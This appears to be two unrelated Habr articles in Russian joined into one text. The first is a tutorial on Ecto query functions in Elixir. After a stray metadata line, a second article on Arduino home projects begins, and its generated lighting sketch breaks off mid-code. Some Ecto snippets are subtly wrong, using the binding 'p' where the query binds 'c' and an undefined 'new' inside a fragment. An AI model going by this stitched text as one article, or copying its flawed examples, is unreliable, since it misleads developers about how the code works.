Разбор документации модулей Ecto.Query и Ecto.Repo из HexDocs сделан на манер [Интерфейса запросов ActiveRecord из RusRailsGuide](http://rusrails.ru/active-record-query-interface). Текст ниже раскрывает различные способы получения данных из БД, используя Ecto. Примеры кода далее в тексте ниже будут относиться к некоторым из этих моделей:
```
Все модели используют id как первичный ключ, если не указано иное.
defmodule Showcase.Client do
use Ecto.Schema
import Ecto.Query
schema "clients" do
field :name, :string
field :age, :integer, default: 0
field :sex, :integer, default: 0
field :state, :string, default: "new"
has_many :orders, Showcase.Order
end
# ...
end
defmodule Showcase.Order do
use Ecto.Schema
import Ecto.Query
schema "orders" do
field :description, :text
field :total_cost, :integer
field :state, :string, default: "pending"
belongs_to :client, Showcase.Client
has_many :products, Showcase.Product
end
# ...
end
```
* [Получение одиночной строки](#1-poluchenie-odinochnoy-stroki)
* [Получение нескольких строк](#2-poluchenie-neskolkih-strok)
* [Условия выборки строк](#3-usloviya-vyborki-strok)
* [Сортировка строк](#4-sortirovka-strok)
* [Выбор определенных полей строк](#5-vybor-opredelennyh-poley-strok)
* [Группировка строк](#6-gruppirovka-strok)
* [Лимитирование и смещение выбираемых строк](#7-limitirovanie-i-smeschenie-vybiraemyh-strok)
* [Соединение таблиц](#8-soedinenie-tablic)
* [Переопределяющее условие](#9-pereopredelyayuschee-uslovie)
Для получения объектов из базы данных Ecto предоставляет несколько функций поиска. В каждую функцию поиска можно передавать аргументы для выполнения определенных запросов в базу данных без необходимости писать на чистом SQL. Ecto предусматривает два стиля построения запросов: с использованием ключевого слова и через выражение (функцию/макрос).
Ниже перечислены некоторые выражения, предоставляемые Ecto, они объявлены в двух модулях:
Ecto.Repo:
* get/3
* get\_by/3
* one/2
* all/3
Ecto.Query:
* where/3
* or\_where/3
* order\_by/3
* select/3
* group\_by/3
* limit/3
* offset/3
* join/5
* exclude/2
### 1. Получение одиночной строки
#### get/3
Используя функцию `get/3`, можно получить запись, соответствующую определенному первичному ключу (primary key). Например:
```
# Ищет клиента с первичным ключом (id) 10.
client = Ecto.Repo.get(Client, 10)
=> %Client{id: 10, name: "Cain Ramirez", age: 34, sex: 1, state: "good"}
```
Функция `get/3` возвратит `nil`, если ни одной записи не найдено. Если запрос не будет иметь `primary key` или их будет больше одного, то функция вызовет ошибку `argument error`.
Функция `get!/3` ведет себя подобно `get/3`, за исключением того, что она вызовет `Ecto.NoResultsError`, если не найдено ни одной соответствующей записи.
Ближайший аналог данной функции в ActiveRecord это метод `find`.
#### get\_by/3
Используя функцию `get_by/3`, можно получить запись, соответствующую предоставленным условия выборки. Например:
```
# Ищет клиента с именем (name) "Cain Ramirez".
client = Ecto.Repo.get_by(Client, name: "Cain Ramirez")
=> %Client{id: 10, name: "Cain Ramirez", age: 34, sex: 1, state: "good"}
```
Функция `get_by/3` возвратит `nil`, если ни одной записи не найдено.
Функция `get_by!/3` ведет себя подобно `get_by/3`, за исключением того, что она вызовет ошибку `Ecto.NoResultsError`, если не найдено ни одной соответствующей записи.
Ближайший аналог данной функции в ActiveRecord это метод `find_by_*`.
#### one/2
Используя функцию `one/2`, можно получить одну запись, соответствующую предоставленным условия выборки. Например:
```
# Выбирает все записи модели Клиент.
query = Ecto.Query.from(c in Client, where: c.name == "Jean Rousey")
client = Ecto.Repo.one(query)
=> %Client{id: 1, name: "Jean Rousey", age: 29, sex: -1, state: "good"}
```
Функция `one/2` возвратит `nil`, если ни одной записи не найдено. И функция вызовет ошибку если по запросу найдётся больше одной записи.
Функция `one!/2` ведет себя подобно `one/2`, за исключением того, что она вызовет ошибку `Ecto.NoResultsError`, если не найдено ни одной соответствующей записи.
Ближайший аналог данной функции в `ActiveRecord` это метод `first` из <4 версии, который принимал условия выборки, а не лимит как сейчас.
### 2. Получение нескольких строк
#### all/3
Используя функцию `all/3`, можно получить все записи, соответствующие предоставленным условиям запроса. Например:
```
# Выбирает все записи модели Клиент.
query = Ecto.Query.from(c in Client)
clients = Ecto.Repo.all(query)
=> [%Client{id: 1, name: "Jean Rousey", age: 29, sex: -1, state: "good"}, ..., %Client{id: 10, name: "Cain Ramirez", age: 34, sex: 1, state: "good"}]
```
Функция `all/3` вернет `Ecto.QueryError`, если запрос не пройдёт валидацию.
Ближайший аналог данной функции в ActiveRecord это метод `all` из < 4 версии, который принимал условия выборки.
### 3. Условия выборки строк
#### where/3
Выражение `where/3` позволяет определить условия для ограничения возвращаемых записей, которые представляет WHERE часть выражения SQL. В случае если передаётся несколько условий выборки, то они комбинируются оператором `AND`.
Вызов по ключевому слову `where:` является неотъемлемой частью макроса `from/2`:
```
from(c in Client, where: c.name == "Cain Ramirez")
from(c in Client, where: [name: "Cain Ramirez"])
```
Есть возможность интерполировать списки с условиями выборки, что позволяет предварительно собрать необходимые ограничения.
```
filters = [name: "Cain Ramirez"]
from(c in Client, where: ^filters)
```
Вызов макросом `where/3`:
```
Client |> where([c], c.name == "Cain Ramirez")
Client |> where(name: "Cain Ramirez")
```
#### or\_where/3
Выражение `or_where/3` позволяет определить более гибкие условия для ограничения возвращаемых записей, которые представляет WHERE часть выражения SQL. Разница между `where/3` и `or_where/3` минимальна, но принципиальна. Переданное условие присоединяется к уже существующим через оператор `OR`. В случае если передаётся несколько условий выборки в `or_where/3`, то между собой они комбинируются оператором `AND`.
Вызов по ключевому слову `or_where:` является неотъемлемой частью макроса `from/2`:
```
from(c in Client, where: [name: "Cain Ramirez"], or_where: [name: "Jean Rousey"])
```
Есть возможность интерполировать списки с условиями выборки, что позволяет предварительно собрать необходимые ограничения. Условия в списке между собой объединяются через `AND`, и присоединятся к существующим условиям через `OR`:
```
filters = [sex: 1, state: "good"]
from(c in Client, where: [name: "Cain Ramirez"], or_where: ^filters)
```
… данное выражение эквивалентно:
```
from c in Client, where: (c.name == "Cain Ramirez") or
(c.sex == 1 and c.state == "good")
```
Вызов макросом `or_where/3`:
```
Client |> where([c], c.name == "Jean Rousey")
|> or_where([c], c.name == "Cain Ramirez")
```
### 4. Сортировка строк
Выражение `order_by/3` позволяет определить условие сортировки записей полученных из базы данных. `order_by/3` задаёт `ORDER BY` часть SQL запроса.
Есть возможность сортировать сразу по нескольким полям. Направление сортировки по умолчанию на возрастание (`:asc`), может быть переопределено на убывание (`:desc`). Для каждого поля можно задать своё направление сортировки.
Вызов по ключевому слову `order_by:` является неотъемлемой частью макроса `from/2`:
```
from(c in Client, order_by: c.name, order_by: c.age)
from(c in Client, order_by: [c.name, c.age])
from(c in Client, order_by: [asc: c.name, desc: c.age])
from(c in Client, order_by: [:name, :age])
from(c in Client, order_by: [asc: :name, desc: :age])
```
Есть возможность интерполировать списки с полями сортировки, что позволяет предварительно собрать необходимые условия выборки.
```
values = [asc: :name, desc: :age]
from(c in Client, order_by: ^values)
```
Вызов макросом `order_by/3`:
```
Client |> order_by([c], asc: c.name, desc: c.age)
Client |> order_by(asc: :name)
```
### 5. Выбор определенных полей строк
Выражение `select/3` позволяет определить поля таблиц, которые необходимо вернуть для получаемых записей из базы данных. `select/3` задаёт `SELECT` часть SQL запроса. По умолчанию `Ecto` выбирает все множество полей результата, используя `select *`.
Вызов по ключевому слову `select:` является неотъемлемой частью макроса `from/2`:
```
from(c in Client, select: c)
from(c in Client, select: {c.name, c.age})
from(c in Client, select: [c.name, c.state])
from(c in Client, select: {c.name, ^to_string(40 + 2), 43})
from(c in Client, select: %{name: c.name, order_counts: 42})
```
Вызов макросом `select/3`:
```
Client |> select([c], c)
Client |> select([c], {c.name, c.age})
Client |> select([c], %{"name" => c.name})
Client |> select([:name])
Client |> select([c], struct(c, [:name]))
Client |> select([c], map(c, [:name]))
```
**Важно:** При ограничении полей выборки для ассоциаций важно выбирать внешние ключи связей, иначе `Ecto` не сможет найти связанные объекты.
### 6. Группировка строк
Для определения условия `GROUP BY` в SQL запросе, предназначен макрос `group_by/3`. Все столбцы упомянутые в `SELECT`, должны быть переданы в `group_by/3`. Это общее правило для агрегатных функций.
Вызов по ключевому слову `group_by:` является неотъемлемой частью макроса `from/2`:
```
from(c in Client, group_by: c.age, select: {c.age, count(c.id)})
from(c in Client, group_by: :sex, select: {c.sex, count(c.id)})
```
Вызов макросом `group_by/3`:
```
Client |> group_by([c], c.age) |> select([c], count(c.id))
```
### 7. Лимитирование и смещение выбираемых строк
Для определения LIMIT в SQL запросе используйте выражение `limit/3`, оно определит количество необходимых записей, которые будут получены.
Если `limit/3` передан дважды, то первое значение будет перекрыто вторым.
```
from(c in Client, where: c.age == 29, limit: 1)
Client |> where([c], c.age == 29) |> limit(1)
```
Для определения OFFSET в SQL запросе используйте выражение `offset/3`, оно определит количество записей, которые будут пропущены до начала возвращаемых записей.
Если `offset/3` передан дважды, то первое значение будет перекрыто вторым.
```
from(c in Client, limit: 10, offset: 30)
Client |> limit(10) |> offset(30)
```
### 8. Соединение таблиц
Часто запросы обращаются к нескольким таблицам, такие запросы строятся с использованием конструкции `JOIN`. В Ecto для определения такой конструкции предназначено выражение `join/5`. По умолчанию стратегией присоединения таблицы является INNER JOIN, которую можно переопределить на: `:inner`, `:left`, `:right`, `:cross` or `:full`. В случае построения запроса по ключу, `:join` можно заменить на: `:inner_join`, `:left_join`, `:right_join`, `:cross_join` или `:full_join`.
Вызов по ключевому слову `join:` является неотъемлемой частью макроса `from/2`:
```
from c in Comment,
join: p in Post, on: p.id == c.post_id,
select: {p.title, c.text}
from p in Post,
left_join: c in assoc(p, :comments),
select: {p, c}
from c in Comment,
join: p in Post, on: [id: c.post_id],
select: {p.title, c.text}
```
Все ключи переданные в `on` будут учтены как условия соединения.
Есть возможность интерполировать правую часть относительно `in`. Для примера:
```
posts = Post
from c in Comment,
join: p in ^posts, on: [id: c.post_id],
select: {p.title, c.text}
```
Вызов макросом `join/5`:
```
Comment
|> join(:inner, [c], p in Post, c.post_id == p.id)
|> select([c, p], {p.title, c.text})
Post
|> join(:left, [p], c in assoc(p, :comments))
|> select([p, c], {p, c})
Post
|> join(:left, [p], c in Comment, c.post_id == p.id and c.is_visible == true)
|> select([p, c], {p, c})
```
### 9. Переопределяющее условие
Ecto даёт возможность убрать уже определенные условия в запросе или вернуть значения по умолчанию, для этого используйте выражение `exclude/2`.
```
query |> Ecto.Query.exclude(:select)
Ecto.Query.exclude(query, :select)
```
Команды для массовых операций со строками
-----------------------------------------
### Массовая вставка
Функция `Ecto.Repo.insert_all/3` вставит все переданные записей.
```
Repo.insert_all(Client, [[name: "Cain Ramirez", age: 34], [name: "Jean Rousey", age: 29]])
Repo.insert_all(Client, [%{name: "Cain Ramirez", age: 34}, %{name: "Jean Rousey", age: 29}])
```
Функция `insert_all/3` не обрабатывает автогенерируемые поля, такие как `inserted_at` или `updated_at`.
### Массовое обновление
Функция `Ecto.Repo.update_all/3` обновит все строки подпавшие под условие запроса на переданные значения полей.
```
Repo.update_all(Client, set: [state: "new"])
Repo.update_all(Client, inc: [age: 1])
from(c in Client, where: p.sex < 0)
|> Repo.update_all(set: [state: "new"])
from(c in Client, where: p.sex > 0, update: [set: [state: "new"]])
|> Repo.update_all([])
from(c in Client, where: c.id < 10, update: [set: [state: fragment("?", new)]])
|> Repo.update_all([])
```
### Массовое удаление
Функция `Ecto.Repo.delete_all/2` удаляет все строки, подпавшие под условие запроса.
```
Repo.delete_all(Client)
from(p in Client, where: p.age == 0) |> Repo.delete_all
```
Практические примеры
--------------------
### Композиция запросов
```
query = from p in App.Product, select: p
query2 = from p in query, where: p.state == "published"
App.Repo.all(query2)
```
### Функция для постраничного вывода
```
defmodule Finders.Common.Paging do
import Ecto.Query
def page(query), do: page(query, 1)
def page(query, page), do: page(query, page, 10)
def page(query, page, per_page) do
offset = per_page * (page-1)
query |> offset([_], ^offset)
|> limit([_], ^per_page)
end
end
```
```
# With Posts: second page, five per page
posts = Post |> Finders.Common.Paging.page(2, 5) |> Repo.all
# With Tags: third page, 10 per page
tags = Tag |> Finders.Common.Paging.page(3) |> Repo.all
```
### Query.API
Операторы сравнения: `==`, `!=`, `<=`, `>=`, `<`, `>`
Булевы операторы: `and`, `or`, `not`
Оператор включения: `in/2`
Функции поиска: `like/2` и `ilike/2`
Проверка на *null*: `is_nil/1`
Агрегаторы: `count/1`, `avg/1`, `sum/1`, `min/1`, `max/1`
Функция для произвольных SQL подзапросов: `fragment/1`
```
from p in Post, where: p.published_at > ago(3, "month")
from p in Post, where: p.id in [1, 2, 3]
from p in Payment, select: avg(p.value)
from p in Post, where: p.published_at > datetime_add(^Ecto.DateTime.utc, -1, "month")
from p in Post, where: is_nil(p.published_at)
from p in Post, where: ilike(p.body, "Chapter%")
from p in Post,
where: is_nil(p.published_at) and
fragment("lower(?)", p.title) == "title"
```
Дополнение из Ecto.Adapters.SQL
-------------------------------
### `Ecto.Adapters.SQL.query/4`
Выполняет произвольный SQL запрос в рамках переданного репозитория.
```
Ecto.Adapters.SQL.query(Showcase, "SELECT $1::integer + $2", [40, 2])
=> {:ok, %{rows: [{42}], num_rows: 1}}
```
Ближайший аналог данной функции в ActiveRecord это метод `find_by_sql`.
### `Ecto.Adapters.SQL.to_sql/3`
Конвертирует построенный из выражений запрос в SQL.
```
Ecto.Adapters.SQL.to_sql(:all, repo, Showcase.Client)
=> {"SELECT c.id, c.name, c.age, c.sex, c.state, c.inserted_at, c.created_at FROM clients as c", []}
Ecto.Adapters.SQL.to_sql(:update_all, repo,
from(c in Showcase.Client, update: [set: [state: ^"new"]]))
=> {"UPDATE clients AS c SET state = $1", ["new"]}
```
Данная функция тёска аналогичного метода из ActiveRecord::Relation.
Литература
----------
[<http://guides.rubyonrails.org/active_record_querying.html>](http://guides.rubyonrails.org/active_record_querying.html)
[<https://hexdocs.pm/ecto/Ecto.html>](https://hexdocs.pm/ecto/Ecto.html)
[<https://github.com/elixir-ecto/ecto>](https://github.com/elixir-ecto/ecto)
[<https://blog.drewolson.org/composable-queries-ecto/>](https://blog.drewolson.org/composable-queries-ecto/)
[Learning with JB](http://learningwithjb.com/posts)
[<http://blog.plataformatec.com.br/2016/05/ectos-insert_all-and-schemaless-queries/>](http://blog.plataformatec.com.br/2016/05/ectos-insert_all-and-schemaless-queries/)
Послесловие
-----------
Если вам интересен функциональный язык программирования *Elixir* или вы просто сочувствующий то советую вам присоединиться к Telegram-чатам [Wunsh && Elixir](https://t.me/joinchat/AAAAAEII11x65Zz9-Y-daw) и [ProElixir](https://telegram.me/proelixir).
У отечественного Elixir сообщества начинает появляться единая площадка в лице проекта [Wunsh.ru](http://wunsh.ru). Сейчас у проекта есть тематическая рассылка, в которой нет ничего нелегального, раз в недельку будет приходить письмо с подборкой статей про Elixir на русском языке.
UPD:
----
Обновление от [pure\_evil](https://habrahabr.ru/users/pure_evil/) — c MongoDB вторая версия Ecto работает, правда пока это в виде форка: <https://github.com/michalmuskala/mongodb_ecto/pull/91> | https://habr.com/ru/post/318358/ | null | ru | null |
# Arduino в быту, на работе, в машине
В последнее время все больше и больше постов посвящается поделкам на основе плат Arduino. Я тоже хочу рассказать о нескольких проектах, созданных на основе этих плат. Не являюсь автором этих проектов и имею к ним косвенное отношение. Но настоящие авторы дали мне добро на использование их разработок в этой публикации. Дело в том, что они не имеют никакого отношения к IT и, соответственно, не имеют аккаунтов на Хабре и его отпрыске Geektimes.
Привожу дословное описание проектов от авторов.
#### **В быту**
##### Управление кухонным освещением от Engineer200
Проект призван начать решать проблемы поиска выключателей, забывания отключения и необходимости зажмуривания. Первая часть реализует плавное включение подсветки рабочей поверхности на кухне и подсветки внутри шкафа, например, под мойку обычно приходится нырять с фонариком. Подсветка рабочего поверхности кухни реализуется размещением светодиодной ленты на нижней части верхних шкафов. Короткие нажатия на кнопку просто включают и выключают свет. Длительное нажатие включает режим изменения уровня света, постепенное притухание, по достижению ноля, снова включается ярко. Когда кнопка отпущена — уровень света запоминается и дальнейшие короткие нажатия на кнопку, включают свет до запомненного уровня. Внутри шкафа свет плавно включается-выключается по срабатыванию геркона, встраиваемого в стенку шкафа. Дальнейшее развитие предполагает подключение датчиков присутствия, освещённости, увеличение количества каналов управления, осуществление декоративной подсветки стеклянных полок и дверей.
Программа тестировалась на Arduino UNO с контроллером AFMega8A-PU, а реализована на Arduino PRO Mini.
Принципиальная схема:
[Файл проекта](http://yadi.sk/d/e5-dtfSiM6hWn) в программе FLProg.
**Скетч для ArduinoIDE**
```
bool _gtv1 = 0;
bool _gtv2 = 0;
int _gtv3 = 255;
int _gtv4 = 0;
bool _gtv9 = 0;
bool _gtv11 = 1;
int _gtv12 = 255;
bool _gtv13 = 0;
bool _gtv14 = 0;
bool _gtv15 = 0;
bool _gtv16 = 0;
bool _gtv17 = 0;
bool _gtv18 = 0;
int _gtv19 = 255;
int _gtv20 = 255;
int _gtv21 = 255;
int _gtv22 = 255;
int _gtv23 = 0;
int _gtv24 = 0;
bool _gtv5 = 0;
bool _gtv6 = 0;
int _gtv8 = 0;
int _gtv10 = 0;
int _gtv25 = 0;
bool _tim1I = 0;
bool _tim1O = 0;
unsigned long _tim1P = 0UL;
bool _tim3I = 0;
bool _tim3O = 0;
unsigned long _tim3P = 0UL;
bool _tim4I = 0;
bool _tim4O = 0;
unsigned long _tim4P = 0UL;
int _swi3;
bool _trgs1 = 0;
int _swi5;
bool _trgs2 = 0;
int _swi6;
bool _trgs3 = 0;
bool _gen1I = 0;
bool _gen1O = 0;
unsigned long _gen1P = 0UL;
int _swi4;
bool _count1I = 0;
int _count1P = 0;
bool _gen3I = 0;
bool _gen3O = 0;
unsigned long _gen3P = 0UL;
int _swi7;
bool _count3I = 0;
int _count3P = 0;
bool _gen4I = 0;
bool _gen4O = 0;
unsigned long _gen4P = 0UL;
int _swi8;
bool _count4I = 0;
int _count4P = 0;
bool _gen2I = 0;
bool _gen2O = 0;
unsigned long _gen2P = 0UL;
int _swi1;
int _swi2;
bool _count2I = 0;
int _count2P = 0;
bool _gen5I = 0;
bool _gen5O = 0;
unsigned long _gen5P = 0UL;
int _swi9;
int _swi10;
bool _count5I = 0;
int _count5P = 0;
bool _gen6I = 0;
bool _gen6O = 0;
unsigned long _gen6P = 0UL;
int _swi11;
int _swi12;
bool _count6I = 0;
int _count6P = 0;
bool _tim2I = 0;
bool _tim2O = 0;
unsigned long _tim2P = 0UL;
bool _tim5I = 0;
bool _tim5O = 0;
unsigned long _tim5P = 0UL;
bool _tim6I = 0;
bool _tim6O = 0;
unsigned long _tim6P = 0UL;
bool _gen7I = 0;
bool _gen7O = 0;
unsigned long _gen7P = 0UL;
int _swi13;
bool _count7I = 0;
int _count7P = 0;
bool _gen8I = 0;
bool _gen8O = 0;
unsigned long _gen8P = 0UL;
int _swi14;
bool _count8I = 0;
int _count8P = 0;
bool _gen9I = 0;
bool _gen9O = 0;
unsigned long _gen9P = 0UL;
int _swi15;
bool _count9I = 0;
int _count9P = 0;
bool _bounseInput2S = 0;
bool _bounseInput2O = 0;
unsigned long _bounseInput2P = 0UL;
bool _bounseInput4S = 0;
bool _bounseInput4O = 0;
unsigned long _bounseInput4P = 0UL;
bool _bounseInput7S = 0;
bool _bounseInput7O = 0;
unsigned long _bounseInput7P = 0UL;
bool _bounseInput13S = 0;
bool _bounseInput13O = 0;
unsigned long _bounseInput13P = 0UL;
bool _bounseInput8S = 0;
bool _bounseInput8O = 0;
unsigned long _bounseInput8P = 0UL;
bool _bounseInput12S = 0;
bool _bounseInput12O = 0;
unsigned long _bounseInput12P = 0UL;
void setup()
{
pinMode(8, INPUT);
digitalWrite(8, HIGH);
pinMode(12, INPUT);
digitalWrite(12, HIGH);
pinMode(13, INPUT);
pinMode(2, INPUT);
digitalWrite(2, HIGH);
pinMode(4, INPUT);
digitalWrite(4, HIGH);
pinMode(7, INPUT);
digitalWrite(7, HIGH);
_bounseInput12O = digitalRead(12);
_bounseInput8O = digitalRead(8);
_bounseInput2O = digitalRead(2);
_bounseInput4O = digitalRead(4);
_bounseInput7O = digitalRead(7);
_bounseInput13O = digitalRead(13);
}
void loop()
{
bool _bounceTmp2 = (digitalRead (2));
if (_bounseInput2S)
{
if (millis() >= (_bounseInput2P + 40))
{
_bounseInput2O = _bounceTmp2;
_bounseInput2S = 0;
}
}
else
{
if (_bounceTmp2 != _bounseInput2O )
{
_bounseInput2S = 1;
_bounseInput2P = millis();
}
}
bool _bounceTmp4 = (digitalRead (4));
if (_bounseInput4S)
{
if (millis() >= (_bounseInput4P + 40))
{
_bounseInput4O = _bounceTmp4;
_bounseInput4S = 0;
}
}
else
{
if (_bounceTmp4 != _bounseInput4O )
{
_bounseInput4S = 1;
_bounseInput4P = millis();
}
}
bool _bounceTmp7 = (digitalRead (7));
if (_bounseInput7S)
{
if (millis() >= (_bounseInput7P + 40))
{
_bounseInput7O = _bounceTmp7;
_bounseInput7S = 0;
}
}
else
{
if (_bounceTmp7 != _bounseInput7O )
{
_bounseInput7S = 1;
_bounseInput7P = millis();
}
}
bool _bounceTmp13 = (digitalRead (13));
if (_bounseInput13S)
{
if (millis() >= (_bounseInput13P + 40))
{
_bounseInput13O = _bounceTmp13;
_bounseInput13S = 0;
}
}
else
{
if (_bounceTmp13 != _bounseInput13O )
{
_bounseInput13S = 1;
_bounseInput13P = millis();
}
}
bool _bounceTmp8 = (digitalRead (8));
if (_bounseInput8S)
{
if (millis() >= (_bounseInput8P + 40))
{
_bounseInput8O = _bounceTmp8;
_bounseInput8S = 0;
}
}
else
{
if (_bounceTmp8 != _bounseInput8O )
{
_bounseInput8S = 1;
_bounseInput8P = millis();
}
}
bool _bounceTmp12 = (digitalRead (12));
if (_bounseInput12S)
{
if (millis() >= (_bounseInput12P + 40))
{
_bounseInput12O = _bounceTmp12;
_bounseInput12S = 0;
}
}
else
{
if (_bounceTmp12 != _bounseInput12O )
{
_bounseInput12S = 1;
_bounseInput12P = millis();
}
}
if (_bounseInput8O)
{
_tim1O = 1;
_tim1I = 1;
}
else
{
if (_tim1I)
{
_tim1I = 0;
_tim1P = millis();
}
else
{
if (_tim1O)
{ if ( _isTimer(_tim1P, 100)) _tim1O = 0;
}
}
}
if (_bounseInput12O)
{
_tim3O = 1;
_tim3I = 1;
}
else
{
if (_tim3I)
{
_tim3I = 0;
_tim3P = millis();
}
else
{
if (_tim3O)
{ if ( _isTimer(_tim3P, 100)) _tim3O = 0;
}
}
}
if (_bounseInput13O)
{
_tim4O = 1;
_tim4I = 1;
}
else
{
if (_tim4I)
{
_tim4I = 0;
_tim4P = millis();
}
else
{
if (_tim4O)
{ if ( _isTimer(_tim4P, 100)) _tim4O = 0;
}
}
}
_gtv11 = _tim1O;
_gtv15 = _tim3O;
_gtv16 = _tim4O;
if ( (_gtv9) || ( ( (!(_gtv9)) && (_gtv11) && (!(_gtv1)) ) && ((_gtv3) == (0)) ) ) _trgs1 = 1;
if ( ( (!(_gtv9)) && (_gtv11) && (!(_gtv1)) ) && ((_gtv3) > (0)) ) _trgs1 = 0;
if (_trgs1)
{
_swi3 = _gtv12;
}
else
{
_swi3 = 0;
}
_gtv3 = _swi3;
if ( (_gtv17) || ( ( (!(_gtv17)) && (_gtv15) && (!(_gtv13)) ) && ((_gtv21) == (0)) ) ) _trgs2 = 1;
if ( ( (!(_gtv17)) && (_gtv15) && (!(_gtv13)) ) && ((_gtv21) > (0)) ) _trgs2 = 0;
if (_trgs2)
{
_swi5 = _gtv19;
}
else
{
_swi5 = 0;
}
_gtv21 = _swi5;
if ( (_gtv18) || ( ( (!(_gtv18)) && (_gtv16) && (!(_gtv14)) ) && ((_gtv22) == (0)) ) ) _trgs3 = 1;
if ( ( (!(_gtv18)) && (_gtv16) && (!(_gtv14)) ) && ((_gtv22) > (0)) ) _trgs3 = 0;
if (_trgs3)
{
_swi6 = _gtv20;
}
else
{
_swi6 = 0;
}
_gtv22 = _swi6;
if (_gtv9)
{
_swi4 = 0;
}
else
{
_swi4 = 2;
}
if ( ((_gtv4) < (_gtv3)) || ((_gtv4) > (_gtv3)) )
{
if (! _gen1I)
{
_gen1I = 1;
_gen1O = 1;
_gen1P = millis();
}
}
else
{
_gen1I = 0 ;
_gen1O = 0;
}
if (_gen1I )
{
if ( _isTimer ( _gen1P , _swi4 ))
{
_gen1P = millis();
_gen1O = ! _gen1O;
}
}
if (_gen1O)
{
if (! _count1I)
{
if ( ((_gtv4) < (_gtv3)) && (!((_gtv4) > (_gtv3))) ) {
_count1P = _count1P + 1;
} else {
_count1P = _count1P - 1;
};
_count1I = 1;
}
}
else
{
_count1I = 0;
}
if (_count1P < 0 ) _count1P = 0;
if (0) _count1P = 0;
analogWrite(9, _count1P);
_gtv4 = _count1P;
if (_gtv17)
{
_swi7 = 0;
}
else
{
_swi7 = 2;
}
if ( ((_gtv23) < (_gtv21)) || ((_gtv23) > (_gtv21)) )
{
if (! _gen3I)
{
_gen3I = 1;
_gen3O = 1;
_gen3P = millis();
}
}
else
{
_gen3I = 0 ;
_gen3O = 0;
}
if (_gen3I )
{
if ( _isTimer ( _gen3P , _swi7 ))
{
_gen3P = millis();
_gen3O = ! _gen3O;
}
}
if (_gen3O)
{
if (! _count3I)
{
if ( ((_gtv23) < (_gtv21)) && (!((_gtv23) > (_gtv21))) ) {
_count3P = _count3P + 1;
} else {
_count3P = _count3P - 1;
};
_count3I = 1;
}
}
else
{
_count3I = 0;
}
if (_count3P < 0 ) _count3P = 0;
if (0) _count3P = 0;
analogWrite(10, _count3P);
_gtv23 = _count3P;
if (_gtv18)
{
_swi8 = 0;
}
else
{
_swi8 = 2;
}
if ( ((_gtv24) < (_gtv22)) || ((_gtv24) > (_gtv22)) )
{
if (! _gen4I)
{
_gen4I = 1;
_gen4O = 1;
_gen4P = millis();
}
}
else
{
_gen4I = 0 ;
_gen4O = 0;
}
if (_gen4I )
{
if ( _isTimer ( _gen4P , _swi8 ))
{
_gen4P = millis();
_gen4O = ! _gen4O;
}
}
if (_gen4O)
{
if (! _count4I)
{
if ( ((_gtv24) < (_gtv22)) && (!((_gtv24) > (_gtv22))) ) {
_count4P = _count4P + 1;
} else {
_count4P = _count4P - 1;
};
_count4I = 1;
}
}
else
{
_count4I = 0;
}
if (_count4P < 0 ) _count4P = 0;
if (0) _count4P = 0;
_gtv24 = _count4P;
analogWrite(11, _count4P);
if (_gtv9)
{
if (! _gen2I)
{
_gen2I = 1;
_gen2O = 1;
_gen2P = millis();
}
}
else
{
_gen2I = 0 ;
_gen2O = 0;
}
if (_gen2I )
{
if ( _isTimer ( _gen2P , 7 ))
{
_gen2P = millis();
_gen2O = ! _gen2O;
}
}
if (_gen2O)
{
if (! _count2I)
{
_count2P = _count2P + 1;
_count2I = 1;
}
}
else
{
_count2I = 0;
}
if (_count2P < 0 ) _count2P = 0;
if (_gtv2) _count2P = 0;
if (((300) - (_count2P)) > (255))
{
_swi1 = 255;
}
else
{
_swi1 = (300) - (_count2P);
}
if (_gtv9)
{
_swi2 = _swi1;
}
else
{
_swi2 = _gtv12;
}
_gtv2 = (_count2P) >= (300);
_gtv12 = _swi2;
if (_gtv17)
{
if (! _gen5I)
{
_gen5I = 1;
_gen5O = 1;
_gen5P = millis();
}
}
else
{
_gen5I = 0 ;
_gen5O = 0;
}
if (_gen5I )
{
if ( _isTimer ( _gen5P , 7 ))
{
_gen5P = millis();
_gen5O = ! _gen5O;
}
}
if (_gen5O)
{
if (! _count5I)
{
_count5P = _count5P + 1;
_count5I = 1;
}
}
else
{
_count5I = 0;
}
if (_count5P < 0 ) _count5P = 0;
if (_gtv5) _count5P = 0;
if (((300) - (_count5P)) > (255))
{
_swi9 = 255;
}
else
{
_swi9 = (300) - (_count5P);
}
if (_gtv17)
{
_swi10 = _swi9;
}
else
{
_swi10 = _gtv19;
}
_gtv5 = (_count5P) >= (300);
_gtv19 = _swi10;
if (_gtv18)
{
if (! _gen6I)
{
_gen6I = 1;
_gen6O = 1;
_gen6P = millis();
}
}
else
{
_gen6I = 0 ;
_gen6O = 0;
}
if (_gen6I )
{
if ( _isTimer ( _gen6P , 7 ))
{
_gen6P = millis();
_gen6O = ! _gen6O;
}
}
if (_gen6O)
{
if (! _count6I)
{
_count6P = _count6P + 1;
_count6I = 1;
}
}
else
{
_count6I = 0;
}
if (_count6P < 0 ) _count6P = 0;
if (_gtv6) _count6P = 0;
if (((300) - (_count6P)) > (255))
{
_swi11 = 255;
}
else
{
_swi11 = (300) - (_count6P);
}
if (_gtv18)
{
_swi12 = _swi11;
}
else
{
_swi12 = _gtv20;
}
_gtv6 = (_count6P) >= (300);
_gtv20 = _swi12;
_gtv1 = _gtv11;
_gtv13 = _gtv15;
_gtv14 = _gtv16;
if (_gtv11)
{
_tim2O = 1;
_tim2I = 1;
}
else
{
if (_tim2I)
{
_tim2I = 0;
_tim2P = millis();
}
else
{
if (_tim2O)
{ if ( _isTimer(_tim2P, 1000)) _tim2O = 0;
}
}
}
if (_gtv15)
{
_tim5O = 1;
_tim5I = 1;
}
else
{
if (_tim5I)
{
_tim5I = 0;
_tim5P = millis();
}
else
{
if (_tim5O)
{ if ( _isTimer(_tim5P, 1000)) _tim5O = 0;
}
}
}
if (_gtv16)
{
_tim6O = 1;
_tim6I = 1;
}
else
{
if (_tim6I)
{
_tim6I = 0;
_tim6P = millis();
}
else
{
if (_tim6O)
{ if ( _isTimer(_tim6P, 1000)) _tim6O = 0;
}
}
}
_gtv9 = (!(_tim2O)) && (!(_gtv11)) ;
_gtv17 = (!(_tim5O)) && (!(_gtv15)) ;
_gtv18 = (!(_tim6O)) && (!(_gtv16)) ;
if (_bounseInput2O)
{
_swi13 = 255;
}
else
{
_swi13 = 0;
}
if ( ((_gtv8) < (_swi13)) || ((_gtv8) > (_swi13)) )
{
if (! _gen7I)
{
_gen7I = 1;
_gen7O = 1;
_gen7P = millis();
}
}
else
{
_gen7I = 0 ;
_gen7O = 0;
}
if (_gen7I )
{
